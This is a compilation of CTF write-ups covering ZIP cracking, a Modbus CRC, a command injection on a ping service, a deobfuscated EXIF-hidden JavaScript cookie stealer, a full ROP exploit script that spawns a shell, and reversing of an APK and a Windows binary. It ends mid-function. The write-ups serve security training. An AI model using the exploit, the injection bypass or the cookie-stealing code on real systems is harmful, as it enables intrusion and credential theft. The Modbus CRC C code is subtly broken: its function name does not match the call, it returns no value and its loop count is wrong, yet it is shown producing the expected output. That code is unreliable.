We tracked down a ZIP file at https://use01.thegood.cloud/s/ncWkZGcskTEDpGe (password for download syskron.CTF2020).
We don't know the password of the ZIP file, but maybe it is weak encryption that can be easily cracked. If you find any valid license key, let us know.
## Solution
The archive consists of 1000 photos, but first you need to find a password for the zip archive. For this, we will use fcrackzip. First of all, let's try the rockyou wordlist.```shell$ fcrackzip -u -D -p ./rockyou.txt ./licenses.zip```To no avail, then we will use a 15GB wordlist [(link to wordlist)](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm).It will take much longer (+-15 minuts for me), but during this time you can do other tasks.```shell$ fcrackzip -u -D -p ./crackstation.txt/realuniq.lst ./licenses.zip
PASSWORD FOUND!!!!: pw == nosocomephobia```
Okay, now we have a password, you can see what kind of photos there are.

We need to find a valid key. Referring to the first tasks, where there was a mention of the Luhn algorithm for checking the validity, we will use this algorithm to check the keys, but first we need to get a list of keys. For this we will use the **tesseract**```shell$ tesseract B999582-0001.png stdoutDetected 10 diacriticsSW serial number
activation key
only valid if purchased together with a machine```
Tesseract does not see the key. I decided to hardcode and change the colors of the pictures so that the tesseract can see the keys. For this I used python and the OpenCV library.```pythonimport cv2
for i in range(1, 1001): img = 'B999582-{0:04}.png'.format(i) src = cv2.imread(img, cv2.IMREAD_UNCHANGED) green_channel = src[:,:,2] cv2.imwrite('res/{0:04}.png'.format(i), green_channel)```Now the pictures look like this:
```shell$ tesseract res/0001.png stdoutWarning: Invalid resolution 0 dpi. Using 70 instead.Estimating resolution as 333oe eee
SW serial number
B999582-0001
activation key
78121994415279564775
only valid if purchased together with a machine```Works fine. Let's write a small bash script to get a list of keys```shell$ for i in {0001..1000}; do tesseract res/$i.png stdout | grep -x -E '[0-9]{20}'; done >> keys.txt```Now that we have a list of all the keys, I wrote a script on node.js that checks the keys using the above algorithm```javascriptconst Luhr = require('luhn-js');const fs = require('fs');
const data = fs.readFileSync('./keys.txt', 'utf-8').split('\n');
data.forEach(key => Luhr.isValid(key) ? console.log(key) : null);``````shell$ node valid.js78124512846934984669```
Flag: 78124512846934984669 |
### Industrial Network
*[Don't follow my github repo for CTF](https://github.com/spitfirerxf)*
_In an industrial Modbus RTU network based on RS485 bus, the master wants to read a sensor data, the data packet has been sent to the slave is like below. Send the slave response to the master, also imagine the slave data is 40 (decimal). (data is in Hex format) Master req. = 06 03 00 00 00 01 85 BD The answer is not in the regular flag format._
So let's parse the master's request according to [this Modbus documentation](https://www.modbustools.com/modbus.html):```06 03 00 00 00 01 85 BD 06 is the slave number03 is the function, and here it's Read Holding Register00 00 is the register number offset, 00 00 is counting from register 000 01 is the number of register read, incrementally from the offset85 BD is the two CRC```
So basically it's just asking for register value in slave number 06. Now we can expect the slave's answer:
```06 03 02 00 28 0D 9A06 is slave number03 function02 is the byte, per register holding 2 bytes00 28 is the actual data, 40 in decimal0D 9A is two CRC```
Then how's the CRC calculated? We found a [simple C script](https://ctlsys.com/support/how_to_compute_the_modbus_rtu_message_crc/) to calculate it for us, and modified it a bit:
```#include <stdio.h>
#define BYTE unsigned char#define WORD unsigned short
#define HIGH(x) ((x & 0xff00) >> 8)#define LOW(x) (x & 0x00ff)
unsigned short ModRTU_CC(unsigned char *buf, int len){ unsigned short crc = 0xFFFF;
for(int pos = 0; pos < len; pos++){ crc ^= (unsigned short)buf[pos]; for (int i = 9; i != 0; i--){ if((crc & 0x0001) != 0){ crc >>= 1; crc ^= 0xA001; } else crc >>= 1; } }
}
int main() { unsigned char buf[] = { 0x6,0x3,0x2,0x0,0x28 }; unsigned short crc = ModRTU_CRC(buf, sizeof(buf));
printf("crc: %02X %02X\n", LOW(crc), HIGH(crc));
return 0;}```
```crc: 0D 9A```
Flag: `06 03 02 00 28 0D 9A` |
Some kind of xor cipher. Knowing the flag format, it is easy to recover the key and decrypt the flag.
Solver code: [https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/lost-my-source/solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/lost-my-source/solve.py)
Flag: `COMPFEST12{Th1s_15_y0ur5_abcdef}` |
nc 130.185.122.155 1212
By analysing the binary with ghidra we find that the server executes our input, altough with a few caveats.The input is executed with the command ```ping -c 1 INPUT```. The biggest problem however is that if the INPUTcontains any of the following, the program exits:```catechopythonprint'&&';\)(*^%$!lscurlget@#```One noticeable symbol that isn't filtered is the pipe, |. Thus we can arbitrarily execute commands by not using any of the disallowed substrings, by running "localhost | COMMAND". All we want to do is run ls and then cat the flag, so we find alternatives. "dir" is an alternative for ls, and by running dir we see that there's a flag "flag.txt". As an alternative for cat, either head or tail works (assuming that the flag.txt simply contains one row which is the flag).
```~/CTF/events/raziCTF/pwn/pinger ❯ nc 130.185.122.155 1212 х INT took 54sWelcome to our ping serivce tell me what to ping ping localhost | head flag.txtRaziCTF{!_jus7_w4nt3d_t0_h3lp}^C``` |
# Change
## Task
One of Senork's employees opened a link in a phishing e-mail. After this, strange things happened. But this is likely related to the attached image. I have to check it.
File: change.jpg
Tags: forensics
## Solution
Analysing the file with exiftool:
```bash$ exiftool change.jpg```
We notice a strange `Copyright` tag containing code which appears to be javascript.
After beautifying it we need to deobfuscate the code.
There is an array containing strings `_0xb30f`:
```javascriptvar _0xb30f = ['qep','0k5','app','ati','kro','fu5','tes','+(\x20','\x20+\x20','^([','LPa','uct','001','sys','Wor','s\x20+','+[^','\x20/\x22','7.0',')+)','ret','loc','\x20]+','ked','/12','htt','l1k','{l0','nCT','GyR','thi','log','3dj','\x20\x22/','LeT','Ryt','^\x20]','con','30b','str','c47'];```
We notice a lot of calls to the function `_0x19ee` which is defined as:
```javascriptvar _0x19ee = function(_0x430b89, _0xb30f10) { _0x430b89 = _0x430b89 - 0x0; // convert parameter to int var _0x19eed7 = _0xb30f[_0x430b89]; // lookup string in array return _0x19eed7;};```
This function resolves numbers stored as strings with the help of the above array.
We now can start to replace calls to this function with the corresponding entry.
```javascriptdocument[_0x19ee('0x9') + _0x19ee('0x20') + 'on'] = _0x19ee('0xd') + 'p:/' + _0x19ee('0xc') + _0x19ee('0x6') + '.0.' + '1/0' + _0x19ee('0x0') + '.ph' + 'p?c' + '=' + document['coo' + 'kie'], console[_0x19ee('0x13')](_0x19ee('0x2') + _0x19ee('0xb') + '!'), console[_0x19ee('0x13')](_0x19ee('0x1') + _0x19ee('0x21') + _0x19ee('0x10') + 'F'), console[_0x19ee('0x13')](_0x19ee('0xf') + _0x19ee('0x1e') + _0x19ee('0xe') + _0x19ee('0x1a') + _0x19ee('0x22') + _0x19ee('0x1c') + _0x19ee('0x14') + '5}');```
which deobfuscates to:
```javascriptdocument['location'] = "http://127.0.0.1/0001.php?c=" + document['cookie'], console.log('Worked!'), console.log('syskronCTF'), console.log('{l00k5l1k30bfu5c473dj5}');``` |
Simplify the f function and use bruteforce to recover the flag.
Solver code: [https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/i-hope-it-is-easy/solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/i-hope-it-is-easy/solve.py)
Flag: `COMPFEST12{ez_pz_lemonade_squeez_a42447}` |
DescriptionOne customer of Senork Vertriebs GmbH reports that some older Siemens devices repeatedly crash. We looked into it and it seems that there is some malicious network traffic that triggers a DoS condition. Can you please identify the malware used in the DoS attack? We attached the relevant network traffic.
Flag format: syskronCTF{name-of-the-malware} |
Hi,we get first blood on this one, so a little write up follows...
the key is generated with a dumb algorithm (srand(time(0)) and some xor..it depends on time so..the server and the attacker must have the same date to generate the good key
this key is added to libc addresses on .bss (got) to make them unusable...
the idea, is to calculate the negative key + the offset from puts address in libc to a onegadgetthen we return back to the function which encode the libc addresses to cancel the libc addresses modifications on .bssthen we just call puts, which will contain the onegadget address by now
the key was stored at address 0x600c38 on .bss,we modify it with a xor gadget (gadget3)
it takes 2 o 3 tries to work sometimes...no more..
stdin is closed by the program, and will need to be redirected to fd number 3, that's why we do "/bin/sh 1>&3" first,to see the output of commands
brought to you, by nobodyisnobody , pwner for **RootMeUpBeforeYouGoGo**
```#! /usr/bin/env python# -*- coding: utf-8 -*-# vim:fenc=utf-8#from pwn import *from ctypes import CDLLfrom math import *
libc = CDLL("libc.so.6")
context.log_level = 'info'
#settingdo_remote = 1remote_host = 'chals.damctf.xyz'remote_port = 31228challenge_exe = "./xorop"
context(arch = 'amd64', os = 'linux', endian="little")
puts_plt = 0x000000000400620
gadget3 = 0x400708 # xor QWORD PTR [rdi],rsi / add rdi,0x8 / cmp rdx,rdi / ja 400708 / retgadget4 = 0x000000000040088f # pop rdi ; retgadget5 = 0x000000000040088d # pop rsi ; pop r15 ; retgadget6 = 0x400890 # ret
# get timenow = int(floor(time.time()))
if do_remote == 1: p = connect(remote_host, remote_port)else: p = process(challenge_exe, env={'LD_PRELOAD':'./libc.so.6'})
p.sendafter('continue.\n', '\x00')
# initialize with srand(time(0))libc.srand(now)info('now = '+str(now))
key = libc.rand()if (key & 0x80000000): key = (0xffffffff80000000 | (key & 0x7fffffff))nrand = libc.rand()if (nrand & 0x80000000): nrand = (0xffffffff80000000 | (nrand & 0x7fffffff) )key = key ^ (nrand<<21)key = (key ^ (libc.rand()<<42))&0xffffffffffffffff
# negate the key + offset of onegadgetnegkey = (0 - (key + 0x316cb ))&0xffffffffffffffff # 0x4f365 execve("/bin/sh", rsp+0x40, environ)info('my key = '+hex(key)+' (negkey = '+hex(negkey)+')')
# we use xor gadget to change the key to it's negative + offset of (onegadget - puts) in libcpayload = p64(gadget4) + p64(0x600c38)payload += p64(gadget5) + p64(key ^ negkey) + p64(0)payload += p64(gadget3)# we return to the program that encode the libc addresses in .bss, but this time it will decode them with the negative keypayload += p64(0x4007d4)payload += p64(0)*9# we add a gadget to align the stackpayload += p64(gadget6)# then we jump to the one_gadget (which is in puts@got now)payload += p64(puts_plt)
p.sendlineafter('memfrob?\n', p64(0) + p64(0xdeadbeef)*7 + p64(negkey & 0xffffffff) + payload)p.readuntil('4 u.\n')
p.sendline('/bin/sh 1>&3')info('Ok Take your flag dude...')p.sendline('cat flag')
p.interactive()
``` |
I decompiled the given apk file using jadx. looking at java code, we can see classes each use one native library to get string.
we can find libraries at `resourse/lib/*/` (I prefer x86_64 ones). there are 3 elf shared libraries which those java codes only use 2 of them.
for both of them, java codes only call `stringFromJNI` function of them. looking at these functions, each return a base64 encoded string which if we decode, one is `http://37.152.186.157/imgs/` and another is `http://37.152.186.157/api/data`.
from this point on, we even don't need to look at codes anymore.
a POST request to the data api endpoint with no parameters returns a json of list of some users as follow:```$ curl -X POST http://37.152.186.157/api/data[{"id":1,"name":"Bugs Bunny","avatar":"bugs_bunny.jpg","email":"[email protected]","address":"4617 Goodwin Avenue","gender":"male","age":"22","phone":"36213893021"},{"id":2,"name":"Mickey Mouse","avatar":"mickey_mouse.jpg","email":"[email protected]","address":"3844 Stiles Street","gender":"male","age":"28","phone":"12369532255"},{"id":4,"name":"Bart Simpson","avatar":"bart_simpson.jpg","email":"[email protected]","address":"2418 Loving Acres Road","gender":"male","age":"35","phone":"55634559910"},{"id":3,"name":"Popeye","avatar":"popeye.jpg","email":"[email protected]","address":"New Jersey popeye Street","gender":"male","age":"43","phone":"22361255893"},{"id":5,"name":"Patrick Star","avatar":"patrick_star.jpg","email":"[email protected]","address":"Richmond 2136 Queens Lane","gender":"male","age":"18","phone":"41223365236"},{"id":6,"name":"Homer Simpson","avatar":"homer_simpson.jpg","email":"[email protected]","address":"Timber Oak Drive","gender":"male","age":"47","phone":"99632531930"},{"id":7,"name":"Olive Oyl","avatar":"olive_oyl.jpg","email":"[email protected]","address":"Ocala Rhapsody Street","gender":"female","age":"52","phone":"89633366552"},{"id":8,"name":"Sylvester","avatar":"sylvester.jpg","email":"[email protected]","address":"Tigard 2285 Kincheloe Road","gender":"male","age":"31","phone":"77632351752"}]```
I thought there might something within avatar pictures, so I checked them each by adding the filename to imgs endpoint directory, but there wasn't anything within them...
and remembered the challenge description said we must put the flag together, so... after a lot of looking at different place to find meaningful things, I couldn't find anything...
so I came to only remaining thing I could think of: putting numbers together, since there is no space within them... so I did, ordering by id, and wrapped it around RaziCTF{}.
the flag: `RaziCTF{3621389302112369532255556345599102236125589341223365236996325319308963336655277632351752}` |
# Goodbye, Mr Anderson
> **Descpription**: Do it again Noe, Cheat Death>> **Points**: 300>>`nc chal.ctf.b01lers.com 1009`
## Challenge OverviewThis challenge's source code was provided together with its libc
```#include <stdio.h>#include <stdlib.h>
char name[16];
void yay() { asm("pop %rax"); asm("syscall"); return;}
char * leak_stack_canary(char * buffer, int maxlen) { int length;
scanf("%d", &length); if (length > maxlen) { exit(13); }
fgetc(stdin);
for (int i = 0; i <= length; i++) { buffer[i] = fgetc(stdin); }
return buffer;}
int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0);
char buffer[24];
printf("You hear that, Mr. Anderson? That's the sound of inevitability, that's the sound of your death, goodbye, Mr. Anderson.\n");
leak_stack_canary(name, 16);
leak_stack_canary(buffer, 64); printf("%s\n", buffer); leak_stack_canary(buffer, 64); printf("%s\n", buffer); leak_stack_canary(buffer, 128); printf("%s\n", buffer);}
```
Looking at the source code we can see the vulnerable function `leak_stack_canary` that enables us write passed the buffer that is 24 bytes.All protections are enabled. `PIE`, `Stack canary` ,`NX` =(. We can leak addresses using `printf` we all know that `printf` reads a stringuntil it enconters a `null byte`. This can therefore enable us leak the stack canary, and some other addresses from the stack to get the base addressof the binary since `PIE` is enabled.
## Exploit Overview
We have `leak_canary_function` that runs four times. I used the second `leak_stack_canary` to leak an addressfrom the stack that turned out to be `_start`. With this we can get the base address of the binary.I used the second to leak the `stack_canary` and the third to control `RIP`.
Using `ROP` we can now leak the `libc_address`since we have `RIP` controlled and since `libc` is already provided, we then find the address of `system` and `/bin/sh`.and therefore we can now spawn a shell =). The final exploit [exploit.py](exploit.py)
## Flag
`flag{l0tsa_l33ks_4r3_imp0rt4nt}` |
The challenge description says Bifid before Rail Fence but in fact it's the other way around.
CyberChef decryption: [https://gchq.github.io/CyberChef/#recipe=Rail_Fence_Cipher_Decode(3,0)Bifid_Cipher_Decode('RAZICTF')&input=UkRUNFZBX19BMSRydEx7RV9fMFVQNFVEQVNJVUlZM31hRERPX0xDUl9I](https://gchq.github.io/CyberChef/#recipe=Rail_Fence_Cipher_Decode(3,0)Bifid_Cipher_Decode('RAZICTF')&input=UkRUNFZBX19BMSRydEx7RV9fMFVQNFVEQVNJVUlZM31hRERPX0xDUl9I)
Flag: `RaziCTF{ITS_4_G0OD_ST4RT_XTO_STUDY_C1PH3$}` |
given a PE32 exe file, not stripped, we have to reverse it to find the flag.
I've never worked much on windows stuff, except just a few couple times... so it kinda was hard for me to find out the calling conventions, working with ida well enough, etc..
so I used cutter with its ghidra decompiler and my intuition. :)
internal symbols were kept, they weren't stripped off, so I could easily find out which function is internal (written by author) and what's its name.
the code was very straightforward.
here is the main function:```undefined4 main(void){ int32_t arg_8h; undefined4 uVar1; undefined auStack80 [4]; int32_t var_48h; undefined4 uStack68; int32_t var_3ch; int32_t var_38h; undefined4 uStack52; int32_t var_2ch; int32_t var_28h; undefined4 uStack36; int32_t var_1ch; undefined4 var_14h; int32_t var_10h; undefined4 var_ch; int32_t var_4h; ___main(); arg_8h = operator new[](unsigned int)(0x13); *(undefined *)(arg_8h + 0x11) = 0x31; *(undefined *)(arg_8h + 0x12) = 0x31; std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Enter first part: "); var_10h = 0; while (var_10h < 0x11) { fcn.0047c7e0(0x48ba00, arg_8h + var_10h); var_10h = var_10h + 1; } var_1ch._3_1_ = shodai(char*)(arg_8h); *(undefined *)(arg_8h + 0x11) = 0x31; *(undefined *)(arg_8h + 0x12) = 0x30; std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Now second part: "); var_10h = 0; while (var_10h < 0x11) { fcn.0047c7e0(0x48ba00, arg_8h + var_10h); var_10h = var_10h + 1; } var_1ch._2_1_ = shodai(char*)(arg_8h); *(undefined *)(arg_8h + 0x11) = 0x30; *(undefined *)(arg_8h + 0x12) = 0x31; std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Third: "); var_10h = 0; while (var_10h < 0x11) { fcn.0047c7e0(0x48ba00, arg_8h + var_10h); var_10h = var_10h + 1; } var_1ch._1_1_ = shodai(char*)(arg_8h); *(undefined *)(arg_8h + 0x11) = 0x30; *(undefined *)(arg_8h + 0x12) = 0x30; std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "And now whats left of it: "); var_10h = 0; while (var_10h < 0x11) { fcn.0047c7e0(0x48ba00, arg_8h + var_10h); var_10h = var_10h + 1; } var_1ch._0_1_ = shodai(char*)(arg_8h); if ((((var_1ch._3_1_ == '\0') || (var_1ch._2_1_ == '\0')) || (var_1ch._1_1_ == '\0')) || ((char)var_1ch == '\0')) { uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "What?! I don\'t believe it!"); std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char) (uVar1, 10); uStack68 = 2000; std::chrono::duration<long long, std::ratio<1ll, 1000ll> >::duration<int, void>(int const&)((int32_t)&uStack68); void std::this_thread::sleep_for<long long, std::ratio<1ll, 1000ll> >(std::chrono::duration<long long, std::ratio<1ll, 1000ll> > const&) ((int32_t)auStack80); uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Just kidding..."); std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char) (uVar1, 10); uStack52 = 2000; std::chrono::duration<long long, std::ratio<1ll, 1000ll> >::duration<int, void>(int const&)((int32_t)&uStack52); void std::this_thread::sleep_for<long long, std::ratio<1ll, 1000ll> >(std::chrono::duration<long long, std::ratio<1ll, 1000ll> > const&) ((int32_t)&var_3ch); uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "It\'s as I expected."); std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char) (uVar1, 10); uStack36 = 2000; std::chrono::duration<long long, std::ratio<1ll, 1000ll> >::duration<int, void>(int const&)((int32_t)&uStack36); void std::this_thread::sleep_for<long long, std::ratio<1ll, 1000ll> >(std::chrono::duration<long long, std::ratio<1ll, 1000ll> > const&) ((int32_t)&var_2ch); } else { uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Correct!"); std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char) (uVar1, 10); } if (arg_8h != 0) { operator delete[](void*)(arg_8h); } _system("pause"); return 0;}```arg_8 is probably a class or struct. it has 3 fields, one is `input`, and let's name the two other `bin_first` (arg_8 + 0x11) and `bin_second` (arg_8 + 0x12) which are characters and initialized before each time getting input with either '0' or '1'.
the `main` function reads into input from user for 4 times. before each getting the input, sets `bin_first` and `bin_second` and after that calls `shodai` and saves the result of each time in a variable, and then checks those 4 variables so none of them equal to 0. if none of them are 0, then our inputs were correct, which means our inputs each time are parts of the flag.
let's see what's happening in `shodai` function:```undefined __cdecl shodai(char*)(int32_t arg_8h){ uint8_t uVar1; uint8_t uVar2; char cVar3; char cVar4; uint8_t *puVar5; uint32_t var_70h; int32_t var_6ch; int32_t var_68h; int32_t var_54h; int32_t var_50h; int32_t var_4ch; int32_t var_30h; int32_t var_2ch; int32_t var_24h; int32_t var_20h; int32_t var_1ch; int32_t var_18h; int32_t var_ch; __Unwind_SjLj_Register(); std::allocator<char>::allocator()(); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) (); convert_ASCII(std::string)((int32_t)&var_30h, (int32_t)&var_2ch); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); std::allocator<char>::~allocator()(); cVar3 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x11), 0x31); cVar4 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x12), 0x31); if ((cVar3 == '0') && (cVar4 == '0')) { var_1ch = 0; var_20h = 0x10; while (var_1ch < 8) { uVar1 = *(uint8_t *)(arg_8h + var_1ch); uVar2 = *(uint8_t *)(arg_8h + var_20h); puVar5 = (uint8_t *)std::string::operator[](unsigned int)(var_1ch); if ((uVar1 ^ uVar2) != *puVar5) { var_70h._0_1_ = 0; goto code_r0x00401ea6; } var_1ch = var_1ch + 1; var_20h = var_20h + -1; } if (*(char *)(arg_8h + 8) == 'd') { var_70h._0_1_ = 1; } else { var_70h._0_1_ = 0; } } else { var_70h._0_1_ = sandaime(char*)(arg_8h); }code_r0x00401ea6: std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); __Unwind_SjLj_Unregister(&var_6ch); return (undefined)var_70h;}```
the `XOR` function just returns either '0' or '1' the same way as how we would do `a ^ b` which return 1 or 0 as if `a` and `b` only could've been 1 or 0.
so from now on let's consider `bin_first` and `bin_second` represent a number in binary and let's name it `part_num`.
so... `shodai` function checks if `part_num` is 0, which is the same as what `main` function set for `part_num` for the first input (or flag part).
if the `part_num` do not equal 0, the else part, it calls another function called `sandaime` which does the same checking of `part_num` with another number and it wasn't equivalent, then calls another function and so on for each 4 possible value of `part_num`.
in the decompiled code, the argument to `convert_ASCII` isn't shown. it's a string of hex codes and `convert_ASCII` converts each couple of those hex numbers to their ascii character representation.the argument to `convert_ASCII` in this `shodai` function is "630c251d0c3a194b". let's call result of `conver_ASCII` as `enc` since it's used in each function.
the `shodai` function walks through the input and xor each character in half first of the input with its mirror index (I'll explain in next line) in half the end of input and the result must equal to same character at index of `enc`. the middle character is checked later in code and must be equivalent to 'd'.
a mirror index (it should've an actual universal name, but I'm not aware of it) is equivalent to `(length - index)`.
the length is 17. and we know the middle is 'd'. and length of 'RaziCTF{' which we know each flag starts with it is 8 == 16/2. thus we can xor this starting string with each character of `enc` and then reverse the result.
the code to do that in python:```def crack_1(enc): first = 'RaziCTF{' last = ''
for i in range(len(first)): last += chr(ord(first[i]) ^ ord(enc[i]))
return first + 'd' + last[::-1]```
so now let's see what `sandaime` does:```undefined __cdecl sandaime(char*)(int32_t arg_8h){ char cVar1; char cVar2; int32_t arg_8h_00; int32_t iVar3; char *pcVar4; int32_t var_70h; int32_t var_6ch; int32_t var_68h; int32_t var_54h; int32_t var_50h; int32_t var_4ch; int32_t var_38h; int32_t var_34h; int32_t var_2eh; int32_t var_28h; int32_t var_20h; int32_t var_1ch; int32_t var_18h; int32_t var_ch; __Unwind_SjLj_Register(); std::allocator<char>::allocator()(); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) (); convert_ASCII(std::string)((int32_t)&var_38h, (int32_t)&var_34h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); std::allocator<char>::~allocator()(); cVar1 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x11), 0x31); cVar2 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x12), 0x31); if ((cVar1 == '1') && (cVar2 == '0')) { var_1ch = 0; while (var_1ch < 0x11) { cVar1 = *(char *)(arg_8h + var_1ch); arg_8h_00 = (int32_t)cVar1; iVar3 = wthIsThis(int (*)(int (*)(int (*)()), int (*)(int (*)(int**))), int (*)(int (*)(int (*)()), int*, int (*)(int (*)()))) (arg_8h_00, arg_8h_00 - 3); cVar2 = (char)var_1ch; if (arg_8h_00 == iVar3) {code_r0x00401b32: iVar3 = wthIsThis(int (*)(int (*)(int (*)()), int (*)(int (*)(int**))), int (*)(int (*)(int (*)()), int*, int (*)(int (*)()))) (arg_8h_00, arg_8h_00 - 0x11); if (arg_8h_00 == iVar3) { pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)(cVar1 + cVar2 + -0x10)) { var_70h._0_1_ = 0; goto code_r0x00401c8b; } } else { iVar3 = wthIsThis(int (*)(int (*)(int (*)()), int (*)(int (*)(int**))), int (*)(int (*)(int (*)()), int*, int (*)(int (*)()))) (arg_8h_00, arg_8h_00 + 6); if (arg_8h_00 != iVar3) goto code_r0x00401bd3; pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)(cVar1 + (-0x10 - cVar2))) { var_70h._0_1_ = 0; goto code_r0x00401c8b; } } } else { iVar3 = wthIsThis(int (*)(int (*)(int (*)()), int (*)(int (*)(int**))), int (*)(int (*)(int (*)()), int*, int (*)(int (*)()))) (arg_8h_00, arg_8h_00 + 10); if (arg_8h_00 == iVar3) {code_r0x00401bd3: pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)(cVar1 + ('\x10' - cVar2))) { var_70h._0_1_ = 0; goto code_r0x00401c8b; } } else { iVar3 = wthIsThis(int (*)(int (*)(int (*)()), int (*)(int (*)(int**))), int (*)(int (*)(int (*)()), int*, int (*)(int (*)()))) (arg_8h_00, arg_8h_00 - 8); if (arg_8h_00 != iVar3) goto code_r0x00401b32; pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)(cVar1 + cVar2 + '\x12')) { var_70h._0_1_ = 0; goto code_r0x00401c8b; } } } var_1ch = var_1ch + 1; } var_70h._0_1_ = 1; } else { var_70h._0_1_ = yondaime(char*)(arg_8h); }code_r0x00401c8b: std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); __Unwind_SjLj_Unregister(&var_6ch); return (undefined)var_70h;}```
well, it checks the 3rd input (or part of flag).
that `wthIsThis` function always returns the minimum of two given characters.
and looking its use, it's apparent that the code always ends up checking each character of the input like this: `(input[i] + (16 - i)) == enc[i]`
which can be reverse like this in python:```def crack_3(enc): ret = ''
for i, ch in enumerate(enc): ret += chr(ord(ch) + (16 - i))
return ret```
next function is `yondaime` which is decompiled to this:```undefined __cdecl yondaime(char*)(int32_t arg_8h){ char cVar1; char cVar2; undefined4 uVar3; char *pcVar4; int32_t var_80h; int32_t var_7ch; int32_t var_78h; int32_t var_64h; int32_t var_60h; int32_t var_5ch; int32_t var_44h; int32_t var_40h; int32_t var_39h; int32_t var_30h; int32_t var_28h; int32_t var_20h; int32_t var_1ch; int32_t var_18h; int32_t var_ch; __Unwind_SjLj_Register(); std::allocator<char>::allocator()(); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) (); convert_ASCII(std::string)((int32_t)&var_44h, (int32_t)&var_40h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); std::allocator<char>::~allocator()(); cVar1 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x11), 0x31); cVar2 = XOR(char, char)((int32_t)*(char *)(arg_8h + 0x12), 0x31); if ((cVar1 == '1') && (cVar2 == '1')) { uVar3 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (0x48b940, "Don\'t mind me, I\'m just here to waste time."); std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char) (uVar3, 10); var_1ch = 0; while (var_1ch < 0x11) { var_30h = 10000; std::chrono::duration<long long, std::ratio<1ll, 1000ll> >::duration<int, void>(int const&) ((int32_t)&var_30h); void std::this_thread::sleep_for<long long, std::ratio<1ll, 1000ll> >(std::chrono::duration<long long, std::ratio<1ll, 1000ll> > const&) ((int32_t)&var_39h + 1); cVar1 = *(char *)(arg_8h + var_1ch); if (((int32_t)cVar1 & 1U) == 0) { pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)(cVar1 / '\x02' + '\n')) { var_80h._0_1_ = 0; goto code_r0x004018e7; } } else { pcVar4 = (char *)std::string::operator[](unsigned int)(var_1ch); if (*pcVar4 != (char)((char)((int32_t)((int32_t)cVar1 - 1U) / 2) + -10)) { var_80h._0_1_ = 0; goto code_r0x004018e7; } } var_1ch = var_1ch + 1; } var_80h._0_1_ = 1; } else { var_80h._0_1_ = nidaime(char*)(arg_8h); }code_r0x004018e7: std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(); __Unwind_SjLj_Unregister(&var_7ch); return (undefined)var_80h;}```
and check the 4th input (or part of flag).
it checks each character for being even or odd. if even then it checks `(input[i] / 2 + 10) == enc[i]`, otherwise (if it's odd) then it checks `((input[i]+1) / 2 - 10) == enc[i]`.
I couldn't think of any formula to check the outcome againt these two branches and find out which is applied to it in order to reverse it that way. or in other words, I couldn't say from the output if a character was odd or even before passing any of those branches.
thus I reversed the `enc` of this function based on both branches and printed them upon each other to manually find out what would make sense, as shown in the following code:```def crack_4(enc): odd_rev = lambda n: ((n + 10) * 2 + 1) & 0xff even_rev = lambda n: ((n - 10) * 2) & 0xff
is_even = lambda n: (n % 2) != 0 printable = lambda n: chr(n) if 0x1f < n < 0x7f else ' '
evens = '' odds = ''
